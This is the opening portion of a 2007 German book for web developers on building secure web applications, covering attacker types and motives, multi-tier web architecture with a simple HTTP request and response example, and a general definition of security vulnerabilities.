Sichere Webanwendungen GERMAN

Sichere Webanwendungen

André Wussow

SichereWebanwendungen

schnell + kompakt

André Wussow Sichere Webanwendungenschnell + kompaktISBN 978-3-939084-48-8

© 2007 entwickler.press,ein Imprint der Software & Support Verlag GmbH

1. Auflage, 2007

http://www.entwickler-press.dehttp://www.software-support.biz

Ihr Kontakt zum Verlag und Lektorat: [email protected]

Bibliografische Information Der Deutschen BibliothekDie Deutsche Bibliothek verzeichnet diese Publikation in der Deutschen Nationalbibliografie; detaillierte bibliografische Daten sind im Internet über http://dnb.ddb.de abrufbar.

Korrektorat: Petra KienleSatz: text & form GbR, Carsten KienleUmschlaggestaltung: Melanie HahnBelichtung, Druck und Bindung: M.P. Media-Print Informations-technologie GmbH, Paderborn.Alle Rechte, auch für Übersetzungen, sind vorbehalten. Reproduk-tion jeglicher Art (Fotokopie, Nachdruck, Mikrofilm, Erfassung auf elektronischen Datenträgern oder andere Verfahren) nur mit schrift-licher Genehmigung des Verlags. Jegliche Haftung für die Richtigkeit des gesamten Werks kann, trotz sorgfältiger Prüfung durch Autor und Verlag, nicht übernommen werden. Die im Buch genannten Produkte, Warenzeichen und Firmennamen sind in der Regel durch deren Inhaber geschützt.

Inhaltsverzeichnis

Vorwort 9

Kapitel 1: Beweggründe 151.1 Angreifergruppen 161.2 Angriffsziele 17

Datenspionage 18Datenmodifikation 19Serverkompromittierung 19

Kapitel 2: Architektur und Prinzip 212.1 Mehrschichtige Architektur 222.2 Kommunikation 242.3 Sicherheitskritische Aspekte 27

Kapitel 3: Sicherheitslücken 29

Kapitel 4: Vulnerabilitäten 334.1 Typisierung 34

Eingabevalidierung 35Zugriffs- und Rechtemanagement 36Sessionmanagement 38Datenmanagement 39Befehlszeilen 40Fehlerbehandlung 41Passwörter 42Serverkonfiguration 43Risikofaktor „Mensch“ 44

4.2 Exploits 444.3 Vulnerabilitätsdatenbanken 45

5schnell + kompakt

Inhaltsverzeichnis

Kapitel 5: Angriffsvektoren 475.1 Social Engineering 48

Definition 49Historisches 50

5.2 Application Engineering 51Definition 52

5.3 SQL-Injection 53Definition 53Beispiel 54Historisches 56

5.4 Blind SQL-Injection 57Definition 57Beispiel 58

5.5 Command-Injection 60Definition 61Beispiel 62

5.6 Cross-Site Scripting 64Definition 65Beispiel 66

5.7 Cross-Site Request Forgery 68Definition 69Beispiel 70

5.8 Directory Traversal 71Definition 72Beispiel 72

5.9 Session-Hijacking 74Definition 75Beispiel 75

5.10 Session-Fixation 76Definition 77Beispiel 78

5.11 Cookie-Poisoning 79Definition 79Beispiel 80

6

Inhaltsverzeichnis

5.12 URL-Smuggling 81Definition 82

5.13 Buffer Overflow 83Definition 83Beispiel 85

5.14 Bruteforcing 86Definition 86

5.15 Exploiting 87Definition 88

5.16 Man-In-The-Middle 89Definition 89Historisches 90

5.17 Google Hacking 91Definition 91

Kapitel 6: Verteidigungsvektoren 936.1 Eingabevalidierung 94

Dekodierung 95Datentypüberprüfung 95Eingabemaskierung (Escapen) 96Eingabenfilterung 97

6.2 Zugriffs- und Rechtemanagement 1006.3 Sessionmanagement 1026.4 Datenmanagement 1036.5 Befehlszeilen 1046.6 Fehlerbehandlung 1056.7 Passwörter 1056.8 Serverkonfiguration 1066.9 SQL-Injection 107

Prepared Statements 108Stored Procedures 109

6.10 Unit Testing 1106.11 CAPTCHAs 1116.12 Risikofaktor „Mensch“ 112

7schnell + kompakt

Inhaltsverzeichnis

Kapitel 7: Strafrechtliche Beurteilung 1137.1 Strafrechtlicher Tatbestand 1147.2 Rechte und Pflichten 1157.3 Sicherheitsmaßnahmen 116

Stichwortverzeichnis 119

8

Vorwort

Der Stellenwert von Webapplikationen hat zu Zeiten des Web-2.0-Trends einen neuen Pegel erreicht. Social Software1, Folk-sonomy2 und natürlich AJAX3 sind in aller Munde, nahezu täg-lich sprießen neue Applikationen aus der Internetverbindungoder bestehende Webseiten werden aufgerüstet.

Dabei stehen Benutzerfreundlichkeit und Funktionalität meis-tens im Vordergrund (die Benutzerfreundlichkeit sollte in jedemFall ganz weit vor der Funktionalität stehen), was nicht selten ei-nen der wichtigsten Aspekte in den Hintergrund gelangen lässt:die Sicherheit.

Sicherheit ist generell ein wichtiges Thema, wenn es um die Pro-grammierung leistungsfähiger Applikationen geht. Egal, ob on-line oder offline. Dabei spielt es keine Rolle, ob es sich um dieVerarbeitung sensibler Informationen, wie z.B. Benutzer- oderZahlungsdaten, Onlineshops, Foren oder lediglich um ein Con-tent Management System (CMS) handelt. Die kleinste Nachläs-sigkeit gefährdet nicht nur die Applikation und deren Benutzer,sondern auch den Server. Ganz zu schweigen vom schlechtenRuf und verlorenen Vertrauen seitens der Benutzer.

1. Softwaresysteme zur Unterstützung menschlicher Kommunikation und Kollabora-tion (z.B. Wikis und Weblogs). Diese Systeme werden häufig auch zum Aufbau von Netzwerken (Social Networks) genutzt die weitestgehend durch Selbstorganisation funktionieren und Gemeinschaften (Communities) fördern.

2. Verschlagwortung (Tagging) durch den Benutzer

3. Acronym für Asynchronous JavaScript and XML

9schnell + kompakt

Vorwort

Als Beispiel sei an dieser Stelle ein bekanntes Studentenverzeich-nis genannt. Dieses Projekt wurde ursprünglich von drei Stu-denten ins Leben gerufen und dient als soziale Plattform für Stu-denten. Benutzerfreundlichkeit und Funktionalität wurden hiervorbildlich vereint, an der Sicherheit jedoch wurde erst einmalgespart. Ende 2006 ermöglichten gezielte Angriffe per Cross-SiteScripting, Cross-Site Request Forgery und Session-Hijacking-At-tacken den Zugriff auf private Daten4. Aufgrunddessen gerietdieses Verzeichnis in negative Schlagzeilen, was einige Benutzererst einmal von der Plattform vertrieb.

Dieses Beispiel soll veranschaulichen, dass es nicht reicht, auf Si-cherheitslücken zu reagieren. Prävention ist das Zauberwort undgleichzeitig Pflicht, vor allem wenn es um die Daten der Benut-zer geht.

Die Wahrscheinlichkeit eines Angriffs steigt stetig mit der Be-liebtheit der Applikation. Diese Aussage wird täglich aufs Neuebekräftigt, wenn man sich in diversen Vulnerability-Datenban-ken5 umsieht.

Dort sind meistens bekannte Open-Source-Projekte wie bei-spielsweise OSCommerce (Onlineshop), Joomla! (CMS) undWordPress (Blog) betroffen. Aber auch Closed-Source-Projektewie beispielsweise eBay (Auktionshaus), Amazon (Onlinever-sandhandel), StudiVZ (Soziales Netzwerk) und sogar Online-Banking-Systeme verschiedener Banken sahen sich bereits An-griffen ausgesetzt.

4. http://www.heise.de/security/news/meldung/81639 und http://www.heise.de/security/news/meldung/85970

5. Datenbanken mit Auflistung bekannter Schwachstellen und Sicherheitslücken

10

Vorwort

Alle Anwendungen haben eines gemeinsam: Sie sind beliebt.Open-Source-Produkte sind auf gar keinen Fall die schlechtereWahl. Durch den offen gelegten Quellcode ist es lediglich einfa-cher, Sicherheitslücken zu finden. Closed-Source-Produkte sinddeswegen allerdings nur unwesentlich schwieriger anzugreifen.

Es ist von großer Bedeutung, über die unterschiedlichen An-griffsmethoden und deren Auswirkung Bescheid zu wissen, ummit einem maximalen Sicherheitsbewusstsein an die Planung ei-ner Webapplikation heranzutreten und den Erfolg möglicherAngreifer möglichst zu verhindern.

Das vorliegende Buch gibt einen kompakten Überblick über diebekanntesten Angreifermethoden und stellt deren Funktions-weisen dar. Es werden Maßnahmen erläutert, wie Sie solche An-griffe vermeiden und schädigende Vorfälle ausschließen können.

Am Ende des Buches sollte Ihr Sicherheitsbewusstsein so ge-stärkt sein, dass diverse Methoden zur Vermeidung von Sicher-heitslücken tief eingeprägt sind und automatisch verwendetwerden. Natürlich kann dieses Buch auch als Nachschlagewerkfungieren.

Top 10

Das CWE6 (Common Weakness Enumeration) veröffentlichte einenBericht, aus dem hervorgeht, welche Sicherheitslücken am häu-figsten in Applikationen vorkommen und ausgenutzt werden.Interessant ist hierbei die Tatsache, dass SQL-Injections undCross-Site Scripting an erster Stelle stehen, obwohl sich beideVulnerabilitäten recht einfach vermeiden lassen.

6. http://cwe.mitre.org/documents/vuln-trends.html

11schnell + kompakt

Vorwort

Zielgruppe

Das Buch richtet sich an Entwickler von Webapplikationen. Da-bei spielt es keine Rolle, ob Hobbyist oder Profi, Entwickler oderArchitekt. Sicherheit spielt während des gesamten Prozesses derApplikationsentwicklung eine große Rolle.

Quellcode-Notation

Sämtlicher Quellcode wird durch einen C-ähnlichen Pseudocodedargestellt. Die Dateiendung .psc symbolisiert dabei das dazupassende Dateiformat (Pseudocode).

Buch-Webseite

Aktualisierungen sowie Korrekturen und verschiedene Werk-zeuge sind auf der Webseite des Autors unter http://leserservice.wussoft.de zu finden. Selbstverständlich befinden sich dortauch Möglichkeiten, um in direkten Kontakt mit dem Autor undanderen Lesern zu treten. Ebenso freut sich der Autor über Lob,Anregungen und Kritik an [email protected].

12

Vorwort

Danksagungen

Vielen Dank an erster Stelle an Ilka Bonten, Jennifer Hund, TimHütz, Daniel Nolte, Sebastian Löwenhag und Jens Konerow fürdie fachliche Überprüfung und wertvolle Kritik an diesem Buch.Vielen Dank auch an Sonja Waldschuk, Christiane Auf und ErikFranz von entwickler.press für die gute Zusammenarbeit und dieruhigen Nerven, wenn es mit dem Abgabetermin mal wiedernicht auf Anhieb geklappt hat.

Danke auch an all diejenigen, die mich zwischendurch motiviertund aufgebaut haben, wenn es mal nicht so gut lief oder voran-schritt wie gewünscht, und auch Verständnis zeigten, wenn ichmal nicht so viel Zeit wie gewollt aufbringen konnte.

Widmung

„Hinter jedem erfolgreichen Mann steht eine Frau, die ihn stützt.“7

So steht hinter einem jeden Buch von mir eine Frau. Mit dieserWidmung möchte ich mich von ganzem Herzen bei Ilka Bontenfür ihre wertvolle Unterstützung in jeglicher Hinsicht (fachlich,wie auch psychologisch) meiner bisherigen Arbeiten bedanken.Mit einer bemerkenswerten Motivation behandelt sie meineWerke wie ihre Werke, steckt ihre Energie rein, und verleiht ei-nem jeden Werk eine extravagante Note.

Danke Ilka.

Fehlerteufel

Natürlich werden von vornherein fehlerfreie Beispiele ange-strebt. Bevor sie in diesem Buch beschrieben und auf die Web-seite gepackt werden, werden die Beispiele ausgiebig von ver-schiedenen Personen und auf verschiedenen Systemen getestet.Dennoch kann es durchaus einmal vorkommen, dass unerwar-

7. Waltraud Schoppe, geb. am 27. Juni 1942

13schnell + kompakt

Vorwort

14

tete Fehler auftreten. Sollten Sie auf einen solchen Fehler beimAbtippen eines Listings stoßen, so probieren Sie bitte zuerst dasentsprechende fertige Beispiel von der Webseite aus. Sollte dergleiche Fehler auftreten und es sich wider Erwarten doch nichtum einen Druckfehler im Listing handeln, so wenden Sie sich bit-te direkt an den Autor. Dieser wird dann schnellstmöglich rea-gieren und helfen sowie gegebenenfalls eine Aktualisierung aufder Webseite zum Buch vornehmen.

Sämtliche Fehler gehen natürlich auf das Fehlerkonto des Au-tors.

Der Autor

André Wussow, geboren 1983, lebt in Aachen und studiert dortInformatik. Außerdem ist er als selbstständiger Softwareent-wickler, Trainer und Fachautor tätig. Er schreibt regelmäßig fürFachzeitschriften wie das dot.net magazin und das PHP Maga-zin, die DeveloperWorld sowie für eigene Buchprojekte und re-feriert auf Fachkonferenzen über verschiedene Technologien.

Er beschäftigt sich bereits seit der Einführung mit dem .NETFramework. Dabei gilt sein Hauptaugenmerk den Sprachen C#und Visual Basic sowie Webanwendungen mit ASP.NET. Daten-bankapplikationen realisiert er mit modernen Datenbanksyste-men wie MySQL, MSSQL und Oracle. Im Laufe der Zeit hat ersich auf diverse Webtechnologien sowie sicherheitsrelevanteThemen spezialisiert.

Sie erreichen ihn unter [email protected].

KAPITEL 1

Beweggründe

1.1 Angreifergruppen 16

1.2 Angriffsziele 17

Ein potenzieller Angreifer kann aus den verschiedensten Grün-den und mit den unterschiedlichsten Absichten eine Applikationpenetrieren1. Auch ist es prinzipiell fraglich, wie schnell ein er-folgreicher Einbruch entdeckt wird. Das hängt ganz vom Angrei-fer und Administrator ab.

Es gibt sicherlich eine Vielzahl von kompromittierten Systemen,die sich über längere Zeiträume in fremder Gewalt befanden. AlsBeispiel sei an dieser Stelle eine Universität in den USA genannt.Mitte Mai im Jahre 2006 wurde bekannt, dass mindestens ein Ser-ver für einen Zeitraum von mindestens einem Jahr unbemerkt infremder Hand war. Auf diesem waren unter anderem die sensib-len Daten sämtlicher Studierenden hinterlegt, inklusive Sozial-versicherungsnummern. Der Einbruch wurde damals nicht voneinem Administrator, sondern erst durch das FBI entdeckt.

Natürlich ist dies auch immer eine Frage des Geschicks eines An-greifers sowie der Person desjenigen, der sich unbefugten Zu-griff verschaffen will (vgl. Kapitel 1.1 – Angreifergruppen).

1. Missbräuchliches Eindringen eines Angreifers in ein Rechnersystem/-verbund

15schnell + kompakt

1 – Beweggründe

Prinzipiell kann man allerdings die potenziellen Angriffszieleklassifizieren (vgl. Kapitel 1.2 – Angriffsziele). Jedes dieser Zieleist schwerwiegend und verursacht in der Regel großen wirt-schaftlichen Schaden.

1.1 Angreifergruppen

In diesem Buch wird ein Angreifer gewollt und bewusst als einsolcher betitelt. Der Begriff dient der Gruppierung und Vereinfa-chung sämtlicher Arten von Tätern, ohne sich dabei auf eine An-greifergruppe festzulegen.

Generell lässt sich ein Angreifer primär in zwei Obergruppeneinordnen: entweder aufgrund seiner Fähigkeiten oder seines so-zialen Umfelds. Die Tabelle 1.1 soll eine solche Gruppierung er-läutern.

Ein Angreifer verfügt also generell über wahrscheinlich nicht imVorfeld bekannte Fähigkeiten und Beweggründe. Eine genauereEinordnung kann folglich erst nach einem Angriff und einer aus-führlichen Analyse erfolgen.

In den Medien wird ein Angreifer sehr verallgemeinert als Ha-cker bezeichnet. Das ist allerdings nicht wahr. Fakt ist, dass in der

Tabelle 1.1: Angreifergruppen

Nach Fähigkeit Nach sozialem Umfeld

Hacker Angestellter

Cracker Ex-Angestellter

IT-Profi Konkurrent

Script-Kiddy Sonstiger

16

Angriffsziele

heutigen Zeit die Mehrzahl aller Angriffe von sogenanntenScript-Kiddies mit Destruktionsgedanken durchgeführt werden.

Während der Begriff Hacker bereits vor den Zeiten von grafi-schen Betriebssystemen und des heutigen Internets existent warund lediglich einen guten Fachmann bzw. Informatiker betitelte,sind Script-Kiddies in der Regel gelangweilte Schulkinder, dieohne Fachwissen möglichst großen Schaden anrichten möchten.Hacker hingegen arbeiten nach ethisch-moralischen Vorsätzenohne Destruktionsgedanken.

Es spielt also eine große Rolle, wer als Angreifer (unbeeinflusstvon seinen Absichten) vor der Applikation sitzt. Ein Hacker (alsoFachmann) weiß in der Regel seine Spuren gekonnt zu verwi-schen. Reagiert der Administrator zu langsam, ist es durchausmöglich, dass der Einbruch spurlos an ihm vorüberzieht. Script-Kiddies hingegen verwenden lediglich Exploits und Tools, umsich mit der Kompromittierung eines Servers brüsten zu können.Dabei haben sie nicht selten als primäres Ziel das Auffallen.

Es ist folglich schwer, einen Angreifer sowie seine Absichten ein-deutig zu klassifizieren. Vor allem ist die Denkweise nicht nach-vollziehbar. Hacker zum Beispiel denken „quer. Nicht nur beimAngriff, auch bei der Angriffsvorbereitung und bei der Spuren-vernichtung verlassen sie das konventionelle Denkschema derIT-Profis.“2

1.2 Angriffsziele

Ein Angreifer verfolgt mit seinem Angriff in der Regel ein be-stimmtes Ziel, das in jedem Fall in Zusammenhang mit seinenFähigkeiten wie auch seinem sozialen Umfeld steht. In der Regelverfolgt er sein Ziel ernsthaft und zielstrebig.

2. Steffen Brückner, Dozent und Systemadministrator der Erfurter Fachschule für Technik und Wirtschaft

17schnell + kompakt

1 – Beweggründe

Allerdings erfolgt ein Angriff auch nicht selten aus Spaß oder un-ter „sportlichen“ Motiven. Auch wenn in einem solchen Fall keinprimäres Ziel im Vordergrund steht, ist er nicht minder gefährlich.

Prinzipiell lassen sich die potenziellen Angriffsziele klassifizie-ren: Datenspionage, Datenmodifikation und Serverkompromit-tierung. Ob ein Angreifer bei seinem Vorhaben entdeckt wird,hängt nicht zuletzt von seiner Gruppierung und dem Systemver-antwortlichen ab.

Datenspionage

Im Allgemeinen ist die Datenspionage bereits eine sehr alte Formder Kriminalität. Generell standen schon immer vertraulicheInformationen wie beispielsweise Unternehmensdaten, For-schungsergebnisse, Bankdaten und Personendaten in einem ge-wissen Interesse von Angreifern.

Natürlich gehen potenzielle Angreifer auch mit der Zukunft.Selbst als das Internet bzw. dessen Vorläufer noch in den Kin-derschuhen steckte, gab es bereits Methoden zur digitalen Da-tenspionage. Mit wachsender Popularität des weltweiten Netz-werks ist natürlich auch die Cyber-Kriminalität gewachsen unddank der analog dazu wachsenden Komplexität wurden auchimmer wieder neue Methoden gefunden.

Das Ziel ist allerdings nach wie vor das gleiche: das Erlangen vonprinzipiell jeglicher Art von Informationen, speziell natürlichvertrauliche. Hierfür werden nicht selten Sicherheitslücken zuRate gezogen. Generell kann die Datenspionage manuell oderautomatisiert erfolgen.

Gesetzesgrundlagen

� § 202a StGB: Ausspähen von Daten (vgl. Kapitel 7.1)� § 44 BDSG: Strafvorschriften (vgl. Kapitel 7.1)

18

Angriffsziele

Datenmodifikation

Die Datenmodifikation bietet einem Angreifer unter anderemeine wesentlich komfortablere Variante der Datenspionage, in-dem er einen Trojaner bzw. Sniffer einspielt, der sämtliche Datenausspioniert.

Natürlich lassen sich komplette Seiten auch in feindliche Gewaltbringen und Inhalte verändern. In der Praxis erfolgt dies abereher selten, da der Einbruch unmittelbar bemerkt wird. Seltenwird ein solches Ziel allerdings auch dafür verwendet, um einepolitische Botschaft an ein breitgestreutes Publikum zu verteilenoder einfach nur Aufsehen zu erregen. In der Regel werden fürsolche Zwecke stark frequentierte Objekte attackiert, damit einebreite Zielgruppe involviert wird.

Gesetzesgrundlagen

� § 303a StGB: Datenveränderung (vgl. Kapitel 7.1)

Serverkompromittierung

Die Kompromittierung eines Servers erfolgt in der Regel mitdem Ziel der Nutzung fremder Rechenleistung. Dabei kann esverschiedene Beweggründe geben.

Zum einen wird gern kopiergeschütztes Material zur Weiterver-teilung abgelegt. Zum anderen wird ein Server allerdings auchgerne zur Ausführung weiterer Angriffe (z.B. Viren-/Würmer-verteilung, Bruteforce-Angriffe oder Denial-Of-Service-Atta-cken) verwendet. Besonders beliebt ist hier die Verwendung vonMail-Ressourcen (Spam) oder die Verwendung allgemeiner Leis-tungen für den Aufbau von leistungsfähigen Botnetzen.

In jedem Fall gerät der Servereigentümer bzw. Administratorprimär in die Schusslinie. Gesetzlich gesehen ist er für dieses Sys-tem verantwortlich. Wird sein System für illegale Zwecke miss-

19schnell + kompakt

1 – Beweggründe

braucht und ein Einbruch kann nicht eindeutig bewiesen wer-den, so ist er für eventuell entstandene Schäden haftbar zumachen. In jedem Fall trifft ihn allerdings eine Mitschuld, soferner nicht schnell genug reagiert hat.

Gesetzesgrundlagen

� § 303b StGB: Computersabotage (vgl. Kapitel 7.1)

20

KAPITEL 2

Architektur und Prinzip

2.1 Mehrschichtige Architektur 22

2.2 Kommunikation 24

2.3 Sicherheitskritische Aspekte 27

Um die Funktionsweise von Webapplikationen, Sicherheitslü-cken und entsprechenden Angriffsvektoren zu verstehen, sindgrundlegende Kenntnisse über die Architektur von Webapplika-tionen erforderlich.

Prinzipiell lässt sich sagen, dass Webapplikationen auf Webser-vern oder Serververbunden laufen und sich in zwei Oberkatego-rien unterteilen lassen: eigenständig und integriert.

Eigenständige Anwendungen sind selbstständig arbeitende Pro-gramme (kompiliert, in Binärform), die in der Regel ohne Zu-satzsoftware, in Form von Interpretern, ihre Funktionalität ge-währleisten. Übernimmt eine solche Anwendung auch dieAuslieferung der Inhalte an einen Client, so wird kein Webservermehr benötigt.

Integrierte Webanwendungen sind durch einen Webserver inter-pretierte Skripte. Um ihre Funktionalität zu gewährleisten, wirdneben einem Webserver auf jeden Fall ein entsprechender Inter-preter benötigt, der für die Ausführung des Skripts verantwort-lich ist. Je nach verwendetem Webserver und Interpreter können

21schnell + kompakt

2 – Architektur und Prinzip

jene als Modul im Webserver geladen oder als externes Pro-gramm beauftragt werden.

2.1 Mehrschichtige Architektur

Webanwendungen lassen sich prinzipiell als Multi-Tier Architec-ture (mehrschichtige Architektur) betrachten. Diese Architekturist eine spezielle Form einer Anwendungsarchitektur, bei der dieApplikation in mehrere, diskrete Layer (Schichten) aufgeteiltwird.

Abb. 2.1: Schichtenmodell

Webapplikationen bestehen in abstrakter Form aus drei Schich-ten: Präsentation, Logik und Daten. Oftmals ist hier auch dieRede von einer sogenannten Three-Tier Architecture (dreischich-tige Architektur).

Letztere zwei Schichten lassen sich allerdings detaillierter defi-nieren, so dass die Architektur einer Webapplikation noch ge-nauer beschrieben werden kann. Detailliert betrachtet, bestehteine Webapplikation aus fünf Schichten: Präsentation (Browser),

22

Mehrschichtige Architektur

Verwaltung/Steuerung (Server), Applikation (eigenständig oderintegriert), Datenverwaltung (Datenbank Management System/Dateisystem) und Datenerhaltung (Datenbank/Datei).

Die Schichten verteilen sich dabei auf Client und Server. Die Ver-teilung der Schichten bei der Architektur von Webapplikationenerfolgt gemäß des Thin-Client-Konzepts.

Tabelle 2.1: Die fünf Schichten einer Webapplikation

Präsentation

Präsentation Die Präsentationsschicht wird generell durcheinen Webbrowser abgebildet. Er ist für Ini-tiierung einer Anfrage (HTTP-Request) so-wie die Verarbeitung und Aufbereitung derAntwort (HTTP-Response) verantwortlich.

Logik

Verwaltung/Steuerung

Die Verwaltung und Steuerung übernimmtder (Web-)Server. Er nimmt eine Anfrage anund leitet diese an die nächste Schicht (Appli-kation) weiter.

Applikation Die Hauptfunktionalität übernimmt je nachApplikationstyp (eigenständig oder integriert)die Applikation an sich oder ein Interpreter.

Daten

Datenverwaltung Die Verwaltung sämtlicher Daten führt jenach verwendetem Typ z.B. ein Datenbank-managementsystem (DBMS) oder das Da-teisystem aus.

Datenerhaltung Die Erhaltung sämtlicher Daten wird von derDatenverwaltungsschicht kontrolliert und er-folgt je nach verwendetem Typ z.B. in Formvon Datenbanken oder Dateien.

23schnell + kompakt


Bei diesem Konzept beschränkt sich die funktionale Ausstattungauf die Ein- und Ausgabe. Die gesamte Logik sowie Verwaltungund Erhaltung von Daten befindet sich zentralisiert auf einemoder mehreren Server(n). Die aufbereiteten Daten werden mög-lichst vollständig von einem Server bezogen. In der Regel kannjede Schicht physikalisch separiert werden.

2.2 Kommunikation

Die Kommunikation zwischen Client und Server erfolgt perHTTP (Hypertext Transfer Protocol). HTTP ist ein zustandslosesProtokoll zur Datenübertragung über ein Netzwerk. Zustands-los, da eine Verbindung lediglich zur Datenübertragung einesObjekts aufrecht erhalten wird und kein Zustand gespeichertwird. Für die Übertragung weiterer Objekte müssen weitere Ver-bindungen aufgebaut werden. Eine Verbindung besteht aus ex-akt einer Anfrage (HTTP-Request) und einer Antwort (HTTP-Re-sponse).

Abgesehen von seiner ursprünglichen Bedeutung ist HTTP nichtnur auf die Übertragung von Hypertexten beschränkt, sondernkann dank diverser Erweiterungen jegliche Arten von Datenübertragen. Um welche Arten von Daten es sich jeweils handelt,wird in einem sogenannten Header übertragen. Dieser Headerumfasst in der Regel ausführliche Informationen über den jewei-ligen Server und den angeforderten Inhalt sowie einen Status derAnfrage.

Listing 2.1: Beispiel eines HTTP-Request

GET /index.html HTTP/1.1Host: www.example.net

24

Kommunikation

Es gibt unterschiedliche Arten von Anfragen. Die zwei ge-bräuchlichsten stellen GET und POST dar. GET ist die gängigsteMethode und dient dem Abrufen von Inhalten. POST ähnelt die-ser Handhabung, bietet allerdings noch die Möglichkeit zurgleichzeitigen Übertragung eines Datenblocks (beispielsweisevon Formulardaten). Dieser besteht in der Regel aus Wertepaa-ren (Parametern samt Wertzuweisung). Auch binäre Daten las-sen sich problemlos übermitteln (z.B. beim Upload).

Grundsätzlich lassen sich Daten auch mittels GET übertragen.Allerdings gibt es hier keine Möglichkeit für einen Datenblock.Die Daten werden als Parameter direkt in der URL übertragen.Die Übertragung per POST erfolgt allerdings wesentlich diskre-ter, was vor allem für sensible Daten wichtig ist (aber effektivnicht sicherer ist). Im Gegensatz zu GET ist auch die zulässigeDatenmenge wesentlich größer.

Listing 2.2: Beispiel eines HTTP-Response

HTTP/1.1 200 OKServer: Apache/2.0.53 (Unix) PHP/5.0.3Content-Length: 343Content-Language: deContent-Type: text/htmlConnection: close

<html> <head> <title>Hallo Welt!</title> </head> <body> Hallo Welt! </body></html>

25schnell + kompakt


Ursprünglich war kein Datentransport per GET geplant. Abervor allem im Einsatz von AJAX gewinnt GET wieder mehr anGewicht, was allerdings auch noch einige Nachteile mit sichbringt. Während ursprünglich per POST übertragene Datennicht von Browsern und Proxy-Servern gecacht worden sind,wurden GET-Requests normal gecacht.

Um die Problematik ein wenig zu verdeutlichen, bietet sich einSzenario zum Löschen diverser Daten per AJAX an. Wird ein sol-cher Request direkt gecacht, landet dieser ohne Nachfrage direktim Cache – und wird bei Bedarf auch ohne Nachfrage noch malausgeführt.

Abb. 2.2: Datenfluss

26

Sicherheitskritische Aspekte

2.3 Sicherheitskritische Aspekte

Bei näherer Betrachtung der Architektur von Webapplikationenergeben sich mehrere Angriffsvektoren zum Ausnutzen einerVulnerabilität (vgl. Kapitel 4). Generell ist jede Schicht verwund-bar und stellt eine Angriffsebene dar.

Eine Webapplikation kann durchaus als Gesamtprodukt sämtli-cher Schichten betrachtet werden. Sie ist folglich erst dann sicher,wenn jedes Teilprodukt (also jede Schicht) für sich betrachtet si-cher ist.

In Bezug auf die Sicherheit und eine bessere Veranschaulichungkann das Schichtenmodell auch etwas modifiziert und in einSäulenmodell transformiert werden.

Abb. 2.3: Sicherheitskritisches Säulenmodell

27schnell + kompakt


Getreu diesem Modell ist eine sichere Webapplikation erst dannwirklich sicher, wenn auch die zwei Säulen der Verwaltung/Steuerung und Datenverwaltung sicher sind.

Bildlich gesprochen: Befindet sich in nur einer Säule ein Leck, soknickt diese ein und die gesamte Stabilität und Sicherheit derApplikation leidet darunter. Je größer das Leck oder je mehrLecks existieren, umso instabiler wird die Applikation. Das kannbis zu einem kompletten Zusammenbruch dieser führen. Die Si-cherheit steht und fällt mit jeder dieser Säulen.

Es reicht also nicht aus, ein Gebäude aus Stahl zu haben, wenndas Fundament aus Sand besteht. Das stabilste Gebäude kannnur so stabil sein, wie sein Fundament tragen kann. Die Gesamt-konstruktion ist so stabil bzw. sicher wie sein schwächstes Ele-ment.

28

KAPITEL 3

Sicherheitslücken

Eine Sicherheitslücke beschreibt einen Fehler in einer Applikati-on, durch den ein bösartiges und schädliches Programm oder einAngreifer die Kontrolle über diese übernehmen und eventuell indie Betriebssystemebene eindringen kann.

Eine solche Sicherheitslücke entsteht durch einen Programmfeh-ler. Da umfangreiche Applikationen normalerweise aus enormviel Quellcode bestehen, ist es ziemlich kompliziert, eine solcheApplikation direkt während der Entwicklung fehlerfrei zu erstel-len.

Auf eine möglichst fehlerfreie Entwicklung haben verschiedeneFaktoren einen großen Einfluss. Beispielsweise spielen Zeit undQualifikation der Entwickler eine sehr große Rolle. Die meistenSchwachstellen resultieren aus Zeitdruck, mangelnder Qualifi-kation und nicht ausreichendem Sicherheitsbewusstsein seitensdes Entwicklers.

Eine zu Beginn komplett fehlerfreie Entwicklung ist utopisch.Vor allem bei komplexeren Applikationen entwickeln dieseschnell eine große Eigendynamik, aufgrund derer nicht alle Feh-ler im Entwicklungsstadium erkenn- und entfernbar sind.

29schnell + kompakt

3 – Sicherheitslücken

Statistisch gesehen erzeugt ein Entwickler pro tausend ZeilenQuellcode einen Fehler. Größere Projekte erreichen in der Regelohne Weiteres hunderttausende Zeilen. Bei fünfhunderttausendZeilen kann also schon grob mit fünfhundert Fehlern gerechnetwerden. Das erscheint auf Anhieb enorm viel, ist in der Praxisaber „normal“.

Während der Alpha- und Beta-Stadien des Entwicklungsprozes-ses sollten solche Fehler eigentlich aufgespürt werden. Aller-dings ist es nicht zu erwarten, dass in diesen Stadien alle Fehleraufgespürt und behoben werden. Hierbei spielt beispielsweiseauch die Eigendynamik eine große Rolle: Viele Fehler könnenerst nach einer längeren Laufzeit oder in zuvor unvorhersehba-ren Fällen auftreten.

Es kann durchaus passieren, dass eine geringe Anzahl von Feh-lern nie entdeckt werden, da entweder das Ausmaß zu gering istoder der Fehler erst durch gezielte Provokation bzw. Penetration(beispielsweise von einem Angreifer) entsteht.

Auch wenn hier von so auffällig vielen Fehlern die Rede ist, diewährend der Entwicklung bereits mit in die Applikation einflie-ßen, so bedeutet dies im Umkehrschluss allerdings nicht, dasshierbei jeder Fehler auch eine Sicherheitslücke repräsentiert. EinFehler kann auch einfach einen fehlgeleiteten Prozeduraufrufoder Absturz der Applikation zur Folge haben, ohne dass hier-unter die Sicherheit leidet.

Wann ist demnach also ein Fehler eine Sicherheitslücke? Und vorallem, was macht einen Fehler zu einer Sicherheitslücke? Grobdefiniert resultiert eine Sicherheitslücke aus einem Programm-fehler, der einen (kritischen) Vorgang nicht ausreichend genauprüft und unzulässige Vorgänge zulässt.

30

Sicherheitslücken

Prinzipiell kann allerdings mit relativ geringfügigen Mitteln undeiner Portion gesundem Menschenverstand eine Applikation si-cher konzipiert werden.

Hinweis

Das OWASP (Open Web Application Security Project) hat sich

dem Auffinden und der Bekämpfung von unsicheren

Webapplikationen verschrieben. Auf der Projekt-Webseite be-

finden sich viele Informationen und Anleitungen zur Entwick-

lung sicherer Applikationen: http://www.owasp.org.

31schnell + kompakt

KAPITEL 4

Vulnerabilitäten

4.1 Typisierung 34

4.2 Exploits 44

4.3 Vulnerabilitätsdatenbanken 45

Die Vulnerabilität (Verwundbarkeit) steht für die Angriffsflächeeiner Applikation aufgrund einer Sicherheitslücke. Wie bereitsbeschrieben, resultiert eine Sicherheitslücke aus einem Pro-grammfehler, der einen kritischen Vorgang nicht ausreichend ge-nau prüft und unzulässige Vorgänge zulässt.

